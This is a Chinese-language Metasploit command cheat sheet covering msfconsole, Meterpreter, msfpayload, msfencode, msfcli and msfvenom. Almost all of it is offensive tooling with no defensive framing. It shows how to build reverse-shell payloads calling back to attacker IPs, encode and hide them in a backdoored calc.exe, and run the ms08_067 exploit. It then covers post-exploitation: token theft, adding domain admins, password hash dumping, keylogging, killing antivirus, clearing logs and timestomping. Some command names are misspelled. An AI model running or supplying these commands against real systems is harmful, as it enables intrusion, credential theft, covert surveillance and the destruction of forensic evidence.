一、MSF終端命令
show exploits
列出metasploit框架中所有的滲透攻擊模塊
show payloads
列出metasploit框架中所有的攻擊載荷
show auxiliary
列出metasploit框架中所有的輔助攻擊模塊
search name
查找metasploit框架中滲透攻擊或者其他模塊
info
展示出制定滲透攻擊或模塊的相關信息
use name
裝載一個滲透攻擊或模塊
LHOST
本地可以讓目標主機鏈接的IP地址,如果目標主機和自己不在同一個局域網內時,就需要你的公共IP地址,特別為反彈式shell使用
RHOST
遠程主機或目標主機
set function
設置配置參數
setg function
以全局方式設置特定的配置參數
show options
列出某個滲透攻擊或模塊中所有的配置參數
show targets
列出滲透攻擊所支持的目標平臺
set target num
指定你所知道的目標的操作系統以及補丁版本類型
set PAYLOAD payload
指定想要使用的攻擊載荷
show advanced
列出高級選項
set autorunscript migrate -f
在滲透攻擊完成后,將自動遷移到另一個進程
check
檢測目標是否對選定滲透攻擊存在相應安全漏洞
exploit
執行滲透攻擊或模塊來攻擊目標
exploit -j
后臺進行攻擊目標
exploit -z
滲透攻擊成功后不與會話進行交互
exploit -e enconder
制定使用的攻擊載荷編碼方式(例如:exploit -e shikata_ga_nai)
exploit -h
列出exploit命令的幫助信息
sessions -l
列出可用的交互會話
sessions -l -v
列出可用的交互會話,以及會話的詳細信息,例如:攻擊系統時使用了哪個安全漏洞
sessions -s script
在所有活躍的Meterpreter會話中運行一個特定的Meterpreter腳本
sessions -K
殺死所有活躍的交互會話
sessions -c cmd
在所有活躍的Meterpreter會話上執行一個命令
sessions -u sessionID
升級一個普通的win 32 shell到Meterpreter shell
db_creat name
創建一個數據庫驅動攻擊所要用的數據庫(例如:db_creat autopwn)
db_connect name?
創建并連接一個數據庫驅動攻擊所要用的數據庫(例如:db_connect autopwn)
db_nmap
利用nmap并把掃描數據存儲到數據庫中(支持nmap的普通語法)
db_autopwn -p -r -e
對所有發現的開放端口執行db_autopwn,攻擊所有系統,并使用一個反彈shell
db_destroy
刪除當前數據庫
db_destory user:password@host:port/datebase
使用高級選項來刪除數據庫
二、Meterpreter命令
help
打開使用幫助
run scriptname
運行Meterpreter腳本,在scripts/meterpreter目錄下查看所有腳本名
sysinfo
列出受控主機的系統信息
ls
列出主機的文件和文件夾信息
use priv
加載特權提升拓展模塊,來擴展Meterpreter庫
ps
顯示所有運行進程以及關聯的用戶賬戶
migrate PID
遷移到一個指定的進程ID(PID號可通過ps命令從目標主機上獲得)
use incognito
加載incognito功能(用來盜竊目標主機的令牌或是假冒用戶)
list_tokens -g
列出目標主機用戶的可用令牌
list_tokens -g
列出目標主機用戶組的可用令牌
impersonate_token DOMAIN_NAME\\USERNAME
假冒目標主機上的可用令牌
steal_token PID
盜竊給定進程的可用令牌并進行令牌假冒
drop_token
停止假冒當前令牌
getsystem
通過各種攻擊向量來提升系統用戶權限
shell
以所有可用令牌來運行一個交互的shell
execute -f cmd.exe -i
執行cmd.exe命令并進行交互
execute -f cmd.exe -i -t
以所有可用令牌來執行cmd命令
execute -f cmd.exe -i -H -t
以所有可用令牌來執行cmd命令,并隱藏該進程
rev2self
回到控制目標主機的初始用戶賬戶下
reg command
在目標主機注冊表中進行交互,創建,刪除,查詢等操作
setdesktop number
切換到另一個用戶界面
screenshot
截屏
upload file
向目標主機上傳文件
download file
從目標主機上下載文件
keyscan_start
針對遠程目標主機開啟鍵盤記錄功能
keyscan_dump
存儲目標主機上捕獲的鍵盤記錄
keyscan_stop
停止針對目標主機的鍵盤記錄
getprivs
盡可能多的獲取目標主機上的特權
uictl enable keyboard/mouse
接管目標主機的鍵盤和鼠標
background
將你當前的Meterpreter shell轉為后臺執行
hashdump
導出目標主機中的口令哈希值
use sniffer
加載嗅探模塊
sniffer_interfaces
列出目標主機所有開放的網絡接口
sniffer_dump interfaceID pcapname
在目標主機上啟動嗅探
sniffer_start interfaceID pcaket-buffer
在目標主機上針對特定范圍的數據包緩沖區啟動嗅探
sniffer_stats interfaceID?
獲取正在實施嗅探網絡接口的統計數據
sniffer_stop interfaceID?
停止嗅探
add_user username password -h ip
在遠程目標主機上添加一個用戶
add_group_user "Domain Admins" username -h ip
將用戶添加到目標主機的域管理員組中
clearv
清除目標主機上的日志記錄
timestomp
修改文件屬性,例如修改文件的創建時間(反取證調查)
reboot
重啟目標主機
三、MSF payload命令
msfpayload -h
MSFpayload的幫助信息
msfpayload windows/meterpreter/bind_tcp O
列出攻擊載荷的配置項(任何攻擊載荷都可以配置)
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X > payload.exe
創建一個Meterpreter的reverse_tcp攻擊載荷,回連到192.168.1.5的443端口,將其保存為payload.exe的Windows可執行程序
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R > payload.raw
生成原始格式的文件,該文件將在MSFencode中使用。
msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 C > payload.c
生成C格式的shellcode
msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 J > payload.java
生成以%u編碼方式的JavaScript語言字符串
四、MSFencode命令
msfencode -h
幫助信息
msfencode -l
列出所有可用的編碼器
msfencode -t (c,elf,exe,java,js_le,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho)
顯示編碼緩沖區的格式
msfencode -i payload.raw -o encoded_payload.exe -e -x86/shikata_ga_nai -c 5 -t exe
使用shikata_ga_nai編碼器對payload.raw文件進行5次編碼,然后導出一encoded_payload.exe文件
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/_countdown -c -5 -t raw | msfencode -e x86/shikata_ga_nai -c -5 -t exe -o multi-encoded_payload.exe
創建一個經過多種編碼格式嵌套編碼的攻擊載荷
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c
創建一個純字母數字的shellcode,由ESI寄存器指向shellcode,以c語言格式輸出。
五、MSFcli命令
msfcli | grep exploit
僅列出滲透攻擊模塊
msfcli | grep exploit/windows
僅列出與windows相關的滲透攻擊模塊
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E
對172.16.32.142發起ms08_067_netapi滲透攻擊,配置了bind_tcp攻擊載荷,并綁定在443端口進行監聽
六、Metasploit高級忍術
msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 R | msfencode ?-x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c -7 -t exe
創建一個反彈式的Meterpreter攻擊載荷,回連到192.168.1.5主機443端口上,使用calc.exe作為載荷后門程序,讓載荷執行流一直運行在被攻擊的應用程序中,最后生成以.shikata_ga_nai編碼器編碼后的攻擊載荷可執行程序payload.exe
msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 R | msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c -7 -t exe
創建一個反彈式的Meterpreter攻擊載荷,回連到192.168.1.5主機443端口上,使用calc.exe作為載荷后門程序,不讓載荷執行流一直運行在被攻擊的應用程序中,同時在攻擊載荷執行后也不會在目標主機上彈出任何信息。這種配置非常有效,當你利用瀏覽器漏洞控制了遠程主機,并不想讓計算器程序打開呈現在目標用戶面前。同樣,最后生成以.shikata_ga_nai編碼器編碼后的攻擊載荷可執行程序payload.exe
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -x calc.exe?-k- -o payload.exe -e x86/shikata_ga_nai -c -7 -t exe && msfcli multi/handler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E
創建一個raw格式的bind_tcp模式的Meterpreter攻擊載荷,編碼7次,輸出payload.exe,同時開啟多路監聽方式
七、MSFvenom
msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai LHOST=172.14.1.32 LPORT=443 > msf.exe
創建和編碼攻擊載荷
八、Meterpreter后滲透攻擊階段命令
在windows主機上提權
meterpreter > use priv
meterpreter > getsystem
在一個給定的進程ID中竊取一個域管理員組令牌,添加一個域賬戶,并把域賬戶添加到域管理員組中
meterpreter > ps
meterpreter > steal_token 1784
meterpreter > shell
從SAM數據庫中導出密碼的哈希值
meterpreter > use priv
meterpreter > getsystem
meterpreter > hashdump
提示:在windows8中,若getsystem命令和hashdump命令拋出異常,則需要遷移到一個以system系統權限運行的程序中
自動遷移到一個獨立進程
meterpreter > run migrate
通過Meterpreter的killav腳本殺死目標主機上運行的殺毒軟件進程
meterpreter > run killav
針對一個特定的進程捕獲目標主機上的鍵盤記錄
meterpreter > ps
meterpreter > migrate 1436
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
使用匿名方式來冒充管理員
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > use priv
meterpreter > getsystem
meterpreter > list_tokens -u
meterpreter > impersonate_token INAZSEURITY\\Adminstrator
查看目標主機上采取了哪些防護措施,列出幫助菜單,關閉防火墻以及其他我們發現的防護措施
meterpreter > run getcountermeasure
meterpreter > run getcountermeasure -h
meterpreter > run getcountermeasure -d -k
識別被控制的主機是否為虛擬機
meterpreter > run checkvm
在Meterpreter會話中使用shell
meterpreter > shell
獲取目標主機的圖形界面
meterpreter > run vnc
使正在運行的Meterpreter界面在后臺運行
meterpreter > backgroud
繞過windows用戶賬戶控制UAC機制
meterpreter > run post/windows/escalate/bypassuac
導出os-x系統口令哈希值
meterpreter > run post/osx/gather/hashdump
導出linux系統口令哈希值
meterpreter > run post/linux/gather/hashdump